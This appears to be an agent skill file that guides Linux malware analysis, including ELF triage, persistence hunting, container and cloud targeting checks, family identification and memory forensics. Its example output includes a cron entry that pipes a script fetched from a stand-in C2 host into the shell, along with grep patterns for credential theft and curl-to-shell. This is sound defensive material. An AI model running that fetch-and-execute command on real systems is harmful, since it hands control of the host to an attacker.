--- name: linux-malware-analysis description: > Perform Linux-specific malware analysis including ELF binary examination, persistence mechanism enumeration (crontab, systemd, init.d, LD_PRELOAD), shared library hijacking detection, container escape and cloud targeting analysis, SSH key theft investigation, and Linux memory forensics. Covers family identification for TeamTNT, Kinsing, XorDDoS, Mirai variants, and BPFDoor. Use when analyzing suspected Linux malware samples, investigating compromised Linux servers, or responding to incidents in containerized and cloud environments. --- # Linux Malware Analysis Analyze Linux malware samples to understand ELF binary structure, identify persistence mechanisms, detect shared library hijacking, assess container escape capabilities, and extract actionable intelligence for detection and response. ## Prerequisites - **Python 3.8+**: `hashlib`, `json`, `re`, `os`, `struct`, `subprocess` (standard library) - **Python packages (optional)**: `pyelftools`, `yara-python`, `capstone`, `volatility3` - **Tools (recommended)**: `readelf`, `objdump`, `strace`, `ltrace`, `gdb`, Ghidra/IDA Pro - **System tools**: `auditd`, `bpftool`, `ss`, `lsof`, `find` - **Environment**: Isolated VM or disposable container (never run malware on production systems) - **References**: VirusTotal, MalwareBazaar, MITRE ATT&CK for Linux ## Step-by-Step Instructions ### Step 1: ELF Binary Analysis Examine the ELF binary structure to understand compilation, linking, and capabilities. **Run initial triage:** ```bash # File type and architecture identification file suspicious_binary readelf -h suspicious_binary # Section headers - identify packed, stripped, or tampered binaries readelf -S suspicious_binary # Program headers - check for unusual segments (PT_NOTE abuse, RWX segments) readelf -l suspicious_binary # Symbol table analysis - check for debugging symbols or interesting function names readelf -s suspicious_binary | grep -iE "(crypt|socket|connect|exec|fork|ptrace|dlopen|system)" nm -D suspicious_binary 2>/dev/null | head -50 ``` **Disassembly and deeper inspection:** ```bash # Disassemble text section objdump -d -M intel suspicious_binary > disassembly.txt # Check for dynamic libraries and dependencies ldd suspicious_binary 2>/dev/null readelf -d suspicious_binary | grep -E "(NEEDED|RPATH|RUNPATH)" # Extract printable strings with encoding detection strings -a -n 6 suspicious_binary > strings_ascii.txt strings -a -n 6 -el suspicious_binary > strings_unicode.txt # Identify compiler and build information readelf --notes suspicious_binary strings suspicious_binary | grep -iE "(gcc|clang|go build|rustc|upx)" ``` **Run the Linux malware analyzer:** ```bash python3 scripts/linux_malware_analyzer.py \ --sample suspicious_binary \ --mode elf-analysis \ --output elf_analysis.json ``` **Detect packing and anti-analysis:** ```bash # Check for UPX packing upx -t suspicious_binary 2>/dev/null && echo "UPX packed" # Check entropy per section (high entropy suggests packing/encryption) python3 -c " import math, struct data = open('suspicious_binary', 'rb').read() def entropy(d): if not d: return 0 freq = [0]*256 for b in d: freq[b] += 1 return -sum((c/len(d)) * math.log2(c/len(d)) for c in freq if c) print(f'Overall entropy: {entropy(data):.2f}') " # Check for anti-debugging (ptrace self-trace) objdump -d suspicious_binary | grep -A2 "ptrace" strings suspicious_binary | grep -iE "(ptrace|TRACEME|/proc/self/status|TracerPid)" ``` ### Step 2: Linux-Specific Persistence Mechanisms Enumerate all persistence vectors the malware may install. **Crontab persistence:** ```bash # Check all user crontabs for user in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$user" 2>/dev/null && echo "--- crontab for $user ---" done # Check system cron directories ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ cat /etc/crontab # Look for recently modified cron entries find /var/spool/cron /etc/cron* -mtime -7 -ls 2>/dev/null ``` **Systemd persistence:** ```bash # Check for suspicious systemd services and timers systemctl list-units --type=service --state=running --no-pager systemctl list-timers --no-pager # Find recently created or modified unit files find /etc/systemd/system /usr/lib/systemd/system /run/systemd/system \ -name "*.service" -o -name "*.timer" | while read f; do echo "=== $f ===" stat --format='Modified: %y' "$f" cat "$f" done # Check for user-level systemd units find /home -path "*/.config/systemd/user/*.service" -ls 2>/dev/null ``` **Shell profile persistence:** ```bash # Check shell initialization files for all users find /home /root -maxdepth 2 \ \( -name ".bashrc" -o -name ".bash_profile" -o -name ".profile" \ -o -name ".zshrc" -o -name ".bash_logout" \) \ -exec echo "=== {} ===" \; -exec tail -5 {} \; 2>/dev/null # Check system-wide profile scripts cat /etc/profile ls -la /etc/profile.d/ cat /etc/environment ``` **Init.d and rc.local persistence:** ```bash # Check init scripts ls -la /etc/init.d/ cat /etc/rc.local 2>/dev/null # Check for unusual entries in inittab cat /etc/inittab 2>/dev/null ``` **LD_PRELOAD persistence:** ```bash # Check LD_PRELOAD environment variable env | grep LD_PRELOAD cat /etc/ld.so.preload 2>/dev/null # Check for LD_PRELOAD in shell profiles grep -r "LD_PRELOAD" /etc/profile* /etc/environment /home/*/.*rc /home/*/.*profile 2>/dev/null # Check dynamic linker configuration cat /etc/ld.so.conf ldconfig -p | grep -v "^$(ldconfig -p | head -1)" ``` **Run persistence scan:** ```bash python3 scripts/linux_malware_analyzer.py \ --mode persistence \ --output persistence_findings.json ``` ### Step 3: Shared Library Hijacking Analysis Detect LD_PRELOAD rootkits and rpath manipulation techniques. **LD_PRELOAD rootkit detection:** ```bash # Check for preloaded libraries cat /etc/ld.so.preload 2>/dev/null echo $LD_PRELOAD # Compare library function addresses - discrepancies indicate hooking python3 -c " import ctypes, ctypes.util libc = ctypes.CDLL(ctypes.util.find_library('c')) print(f'open: {ctypes.cast(libc.open, ctypes.c_void_p).value:#x}') print(f'read: {ctypes.cast(libc.read, ctypes.c_void_p).value:#x}') print(f'write: {ctypes.cast(libc.write, ctypes.c_void_p).value:#x}') print(f'connect: {ctypes.cast(libc.connect, ctypes.c_void_p).value:#x}') " # Verify shared library integrity for lib in /lib/x86_64-linux-gnu/libc.so.* /lib/x86_64-linux-gnu/libpam.so.*; do echo "$lib: $(sha256sum "$lib" 2>/dev/null)" done ``` **RPATH/RUNPATH manipulation:** ```bash # Check for suspicious RPATH/RUNPATH in binaries find /usr/bin /usr/sbin /usr/local/bin -executable -type f | while read bin; do rpath=$(readelf -d "$bin" 2>/dev/null | grep -E "RPATH|RUNPATH") if [ -n "$rpath" ]; then echo "$bin: $rpath" fi done # Check for library search order hijacking strace -e openat -f suspicious_binary 2>&1 | grep "\.so" ``` **Dynamic analysis of library injection:** ```bash # Trace library calls during execution ltrace -e '*' -o ltrace_output.txt ./suspicious_binary 2>/dev/null & strace -e trace=openat,mmap,mprotect -f -o strace_output.txt ./suspicious_binary 2>/dev/null & # Check loaded libraries of running suspicious process cat /proc//maps | grep "\.so" ls -la /proc//fd/ | grep "\.so" ``` ### Step 4: Container Escape and Cloud Targeting Analyze malware targeting containerized and cloud environments. **Docker socket abuse detection:** ```bash # Check for Docker socket access attempts strings suspicious_binary | grep -iE "(docker\.sock|/var/run/docker|dockerapi|containers/json)" # Check for container escape indicators strings suspicious_binary | grep -iE "(nsenter|--mount|--pid|--net|/proc/1/root|cgroup|release_agent)" # Detect if running inside a container cat /proc/1/cgroup 2>/dev/null | grep -E "(docker|kubepods|containerd)" ls -la /.dockerenv 2>/dev/null ``` **Kubernetes API targeting:** ```bash # Check for Kubernetes API access patterns strings suspicious_binary | grep -iE "(kubernetes|kube-system|serviceaccount|/api/v1|kubectl|kubelet)" # Check for service account token theft strings suspicious_binary | grep -iE "(/var/run/secrets/kubernetes|token|ca\.crt)" # Check for kubectl or helm commands strings suspicious_binary | grep -iE "(kubectl exec|kubectl apply|helm install)" ``` **Cloud metadata API abuse:** ```bash # Check for cloud metadata endpoint access strings suspicious_binary | grep -iE "(169\.254\.169\.254|metadata\.google|metadata\.azure)" # Check for AWS/GCP/Azure credential theft strings suspicious_binary | grep -iE "(AKIA[0-9A-Z]{16}|AWS_ACCESS_KEY|\.aws/credentials|gcloud auth|az login)" # Check for cryptomining indicators (common in cloud-targeting malware) strings suspicious_binary | grep -iE "(stratum\+tcp|xmrig|monero|pool\.|cryptonight|hashrate)" ``` **Run container/cloud analysis:** ```bash python3 scripts/linux_malware_analyzer.py \ --sample suspicious_binary \ --mode cloud-analysis \ --output cloud_targeting.json ``` ### Step 5: SSH Key Theft and Authorized Keys Manipulation Investigate SSH-related compromise indicators. **SSH key analysis:** ```bash # Check for SSH key access in binary strings suspicious_binary | grep -iE "(id_rsa|id_ed25519|id_ecdsa|authorized_keys|known_hosts|\.ssh)" # Audit SSH directory modifications find /home /root -path "*/.ssh/*" -ls 2>/dev/null for user_home in /home/* /root; do if [ -d "$user_home/.ssh" ]; then echo "=== $user_home/.ssh ===" stat "$user_home/.ssh/authorized_keys" 2>/dev/null cat "$user_home/.ssh/authorized_keys" 2>/dev/null fi done # Check for unauthorized SSH keys added recently find /home /root -name "authorized_keys" -mtime -30 -exec echo "Modified: {}" \; \ -exec cat {} \; 2>/dev/null # Check SSH configuration for backdoor settings grep -E "(PermitRootLogin|AuthorizedKeysFile|ForceCommand|PasswordAuthentication)" /etc/ssh/sshd_config ``` **SSH daemon integrity:** ```bash # Verify sshd binary integrity sha256sum /usr/sbin/sshd dpkg -V openssh-server 2>/dev/null || rpm -V openssh-server 2>/dev/null # Check for PAM module backdoors find /lib/security/ /lib64/security/ /usr/lib/x86_64-linux-gnu/security/ \ -name "*.so" -newer /usr/sbin/sshd -ls 2>/dev/null ``` ### Step 6: Known Linux Malware Family Identification Identify specific malware families based on behavioral markers and signatures. **TeamTNT indicators:** ```bash # TeamTNT typically targets Docker and Kubernetes, mines cryptocurrency strings suspicious_binary | grep -iE "(teamtnt|hilde|chimaera|borg|bioset)" strings suspicious_binary | grep -iE "(masscan|zgrab|pnscan)" # Check for their typical credential harvesting strings suspicious_binary | grep -iE "(\.docker/config\.json|\.aws/credentials|/root/\.ssh)" ``` **Kinsing indicators:** ```bash # Kinsing exploits misconfigured Docker/Redis/other services strings suspicious_binary | grep -iE "(kinsing|kdevtmpfsi|libsystem\.so)" # Check for crontab-based persistence typical of Kinsing strings suspicious_binary | grep -iE "(curl.*\|.*sh|wget.*\|.*sh|/tmp/.*\.sh)" ``` **XorDDoS indicators:** ```bash # XorDDoS uses XOR encryption for C2 communication strings suspicious_binary | grep -iE "(xorddos|/lib/libudev\.so|/boot/.*random)" # Check for its typical init.d persistence ls -la /etc/init.d/ | grep -vE "^(total|d)" | awk '{print $NF}' | while read svc; do file "/etc/init.d/$svc" done ``` **Mirai variant detection:** ```bash # Mirai scans for Telnet/SSH and brute-forces credentials strings suspicious_binary | grep -iE "(scanner|telnet|/bin/busybox|table_init|attack_)" # Check for default credential lists embedded in binary strings suspicious_binary | grep -iE "(admin|root|default|guest|support|user)" | head -20 # Typical Mirai architecture strings readelf -h suspicious_binary | grep -i "machine" ``` **BPFDoor indicators:** ```bash # BPFDoor uses BPF packet filters for stealthy C2 strings suspicious_binary | grep -iE "(bpf|packet_filter|socket_filter|/var/run/haldrund)" # Check for raw socket usage strings suspicious_binary | grep -iE "(AF_PACKET|SOCK_RAW|setsockopt)" # BPFDoor often masquerades as common daemons ls -la /dev/shm/ 2>/dev/null ``` **Run family identification:** ```bash python3 scripts/linux_malware_analyzer.py \ --sample suspicious_binary \ --mode family-id \ --output family_identification.json ``` ### Step 7: Linux Memory Forensics with Volatility 3 Analyze memory dumps from compromised Linux systems. **Basic memory analysis:** ```bash # Identify the Linux profile/kernel version volatility3 -f memory.lime banners.Banners # List all processes (compare with known-good) volatility3 -f memory.lime linux.pslist.PsList > process_list.txt volatility3 -f memory.lime linux.pstree.PsTree > process_tree.txt # Check for hidden processes volatility3 -f memory.lime linux.pslist.PsList --decorate ``` **Network and file analysis:** ```bash # Enumerate network connections from memory volatility3 -f memory.lime linux.sockstat.Sockstat > network_connections.txt # Check loaded kernel modules volatility3 -f memory.lime linux.lsmod.Lsmod > kernel_modules.txt # Extract bash history from memory volatility3 -f memory.lime linux.bash.Bash > bash_history.txt # Dump suspicious process memory volatility3 -f memory.lime linux.proc.Maps --pid --dump ``` **Rootkit detection in memory:** ```bash # Check for syscall table hooking volatility3 -f memory.lime linux.check_syscall.Check_syscall > syscall_check.txt # Check for inline function hooking volatility3 -f memory.lime linux.check_modules.Check_modules > module_check.txt # Detect hidden kernel modules volatility3 -f memory.lime linux.hidden_modules.Hidden_modules > hidden_modules.txt # Check for LD_PRELOAD in process environment volatility3 -f memory.lime linux.elfs.Elfs --pid ``` ### Step 8: Auditd and eBPF-Based Monitoring Configure runtime monitoring to capture malware behavior. **Auditd rules for malware detection:** ```bash # Monitor process execution auditctl -a always,exit -F arch=b64 -S execve -k exec_monitor # Monitor file modifications in sensitive directories auditctl -w /etc/crontab -p wa -k cron_mod auditctl -w /etc/cron.d/ -p wa -k cron_mod auditctl -w /etc/systemd/system/ -p wa -k systemd_mod auditctl -w /etc/ld.so.preload -p wa -k preload_mod auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_mod # Monitor network socket creation auditctl -a always,exit -F arch=b64 -S socket -S connect -k net_activity # Monitor kernel module loading auditctl -a always,exit -F arch=b64 -S init_module -S finit_module -k module_load # Search audit logs for suspicious activity ausearch -k exec_monitor --start recent | aureport -x --summary ausearch -k cron_mod --start today ``` **eBPF-based tracing:** ```bash # Trace all execve syscalls with arguments (using bpftrace) bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%d %s %s\n", pid, comm, str(args->filename)); }' > execve_trace.txt & # Trace network connections bpftrace -e 'tracepoint:syscalls:sys_enter_connect { printf("%d %s\n", pid, comm); }' > connect_trace.txt & # Trace file opens in sensitive directories bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%d %s %s\n", pid, comm, str(args->filename)); }' > file_trace.txt & # Monitor for ptrace-based injection bpftrace -e 'tracepoint:syscalls:sys_enter_ptrace { printf("%d %s request=%d\n", pid, comm, args->request); }' ``` **Collect and analyze results:** ```bash python3 scripts/linux_malware_analyzer.py \ --sample suspicious_binary \ --mode full-analysis \ --audit-log /var/log/audit/audit.log \ --output full_analysis.json ``` ## Output Format ```json { "sample": { "filename": "suspicious_binary", "sha256": "a1b2c3d4e5f6...", "file_type": "ELF 64-bit LSB executable, x86-64, dynamically linked", "size_bytes": 1245184 }, "elf_analysis": { "architecture": "x86-64", "linking": "dynamically linked", "stripped": true, "compiler": "GCC 9.4.0", "packed": false, "entropy": 6.2, "sections": [".text", ".data", ".bss", ".rodata", ".dynstr"], "suspicious_sections": [], "imported_functions": ["connect", "socket", "execve", "fork", "dlopen"], "rpath_set": false }, "family_identification": { "family": "Kinsing", "confidence": "high", "variant": "v1.4", "indicators": [ "Embedded XMRig miner configuration", "Docker API exploitation routine", "Crontab persistence pattern matching Kinsing TTP" ] }, "persistence": { "crontab": { "found": true, "entries": ["*/5 * * * * curl http://c2.example.com/update.sh | sh"] }, "systemd": { "found": false, "services": [] }, "ld_preload": { "found": true, "library": "/usr/local/lib/libprocesshider.so" }, "shell_profiles": { "found": false, "files_modified": [] }, "ssh_keys": { "modified": true, "unauthorized_keys_added": 1 } }, "cloud_targeting": { "docker_socket_access": true, "kubernetes_api_access": false, "cloud_metadata_access": true, "cloud_credential_theft": ["AWS credentials (~/.aws/credentials)"], "cryptomining": { "detected": true, "miner": "XMRig", "pool": "stratum+tcp://pool.example.com:3333", "wallet": "4ABC..." } }, "network": { "c2_servers": ["185.141.x.x:443"], "dns_queries": [], "protocols": ["HTTPS", "stratum"] }, "iocs": { "sha256": ["a1b2c3d4e5f6..."], "ip_addresses": ["185.141.x.x"], "domains": ["c2.example.com"], "file_paths": ["/tmp/.kinsing", "/usr/local/lib/libprocesshider.so"], "cron_entries": ["*/5 * * * * curl http://c2.example.com/update.sh | sh"] }, "mitre_attack": ["T1059.004", "T1053.003", "T1574.006", "T1610", "T1552.004", "T1496"] } ``` ## Tips - Always analyze ELF binaries in an isolated VM or disposable container; never run on production hosts - Many Linux malware families target multiple architectures (x86, ARM, MIPS); check with `readelf -h` to identify the target platform - Cryptominers (TeamTNT, Kinsing) are the most common Linux malware; check for XMRig config patterns - BPFDoor and similar implants use raw sockets and BPF filters; they will not show up in standard `netstat`/`ss` output - Check `/dev/shm`, `/tmp`, `/var/tmp`, and `/run` for malware staging; these are writable and commonly abused - Compare binaries against package manager databases (`dpkg -V` or `rpm -Va`) to detect trojanized system utilities - Linux malware often deletes itself after execution; capture `/proc//exe` before the process exits - For container-targeting malware, check if the Docker socket is mounted (`/var/run/docker.sock`) and review container creation logs - Use `ausearch` and `aureport` to correlate audit events with suspicious binary execution times - LD_PRELOAD rootkits can hide processes, files, and network connections; always compare multiple enumeration methods - Memory forensics with Volatility 3 requires a matching Linux kernel profile; build one from the compromised system's kernel headers if needed - When analyzing Go or Rust binaries, standard `strings` may miss embedded data; use `go tool objdump` or specialized extractors